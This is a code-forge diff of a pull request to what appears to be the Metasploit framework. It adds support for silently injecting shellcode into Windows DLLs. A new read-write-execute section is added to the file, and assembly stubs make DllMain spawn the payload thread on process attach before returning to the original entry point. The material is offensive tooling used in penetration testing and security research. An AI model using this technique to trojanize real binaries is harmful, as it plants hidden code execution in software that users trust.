Merge pull request #1103 from scriptjunkie/dllinjectfix
Support silent shellcode injection into DLLsbug/bundler_fix
commit
0c5d748fca
|
@ -31,14 +31,12 @@ module Exe
|
|||
|
||||
def create_thread_stub
|
||||
<<-EOS
|
||||
hook_entrypoint:
|
||||
pushad
|
||||
push hook_libname
|
||||
call [iat_LoadLibraryA]
|
||||
push hook_funcname
|
||||
push eax
|
||||
call [iat_GetProcAddress]
|
||||
mov eax, [iat_CreateThread]
|
||||
lea edx, [thread_hook]
|
||||
push 0
|
||||
push 0
|
||||
|
@ -68,8 +66,9 @@ module Exe
|
|||
return asm
|
||||
end
|
||||
|
||||
def payload_stub
|
||||
asm = create_thread_stub
|
||||
def payload_stub(prefix)
|
||||
asm = "hook_entrypoint:\n#{prefix}\n"
|
||||
asm << create_thread_stub
|
||||
asm << payload_as_asm
|
||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||
shellcode.encoded
|
||||
|
@ -85,14 +84,37 @@ module Exe
|
|||
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||
pe.header.time = pe_orig.header.time
|
||||
|
||||
# Don't rebase if we can help it since Metasm doesn't do relocations well
|
||||
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
|
||||
|
||||
prefix = ''
|
||||
if pe.header.characteristics.include? "DLL"
|
||||
# if there is no entry point, just return after we bail or spawn shellcode
|
||||
if pe.optheader.entrypoint == 0
|
||||
prefix = "cmp [esp + 8], 1
|
||||
jz spawncode
|
||||
entrypoint:
|
||||
xor eax, eax
|
||||
inc eax
|
||||
ret 0x0c
|
||||
spawncode:"
|
||||
else
|
||||
# there is an entry point, we'll need to go to it after we bail or spawn shellcode
|
||||
# if fdwReason != DLL_PROCESS_ATTACH, skip the shellcode, jump back to original DllMain
|
||||
prefix = "cmp [esp + 8], 1
|
||||
jnz entrypoint"
|
||||
end
|
||||
end
|
||||
# Generate a new code section set to RWX with our payload in it
|
||||
s = Metasm::PE::Section.new
|
||||
s.name = '.text'
|
||||
s.encoded = payload_stub
|
||||
s.encoded = payload_stub prefix
|
||||
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||
|
||||
# Tell our section where the original entrypoint was
|
||||
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
|
||||
if pe.optheader.entrypoint != 0
|
||||
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
|
||||
end
|
||||
pe.sections << s
|
||||
pe.invalidate_header
|
||||
|
||||
|
|
|
@ -169,21 +169,11 @@ require 'msf/core/exe/segment_injector'
|
|||
payload = win32_rwx_exec(code)
|
||||
|
||||
# Create a new PE object and run through sanity checks
|
||||
endjunk = true
|
||||
fsize = File.size(opts[:template])
|
||||
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
|
||||
text = nil
|
||||
sections_end = 0
|
||||
pe.sections.each do |sec|
|
||||
text = sec if sec.name == ".text"
|
||||
sections_end = sec.size + sec.file_offset if sec.file_offset >= sections_end
|
||||
endjunk = false if sec.contains_file_offset?(fsize-1)
|
||||
end
|
||||
#also check to see if there is a certificate
|
||||
cert_entry = pe.hdr.opt['DataDirectory'][4]
|
||||
#if the cert is the only thing past the sections, we can handle.
|
||||
if cert_entry.v['VirtualAddress'] + cert_entry.v['Size'] >= fsize and sections_end >= cert_entry.v['VirtualAddress']
|
||||
endjunk = false
|
||||
end
|
||||
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
|
@ -1774,4 +1764,3 @@ def self.to_vba(framework,code,opts={})
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue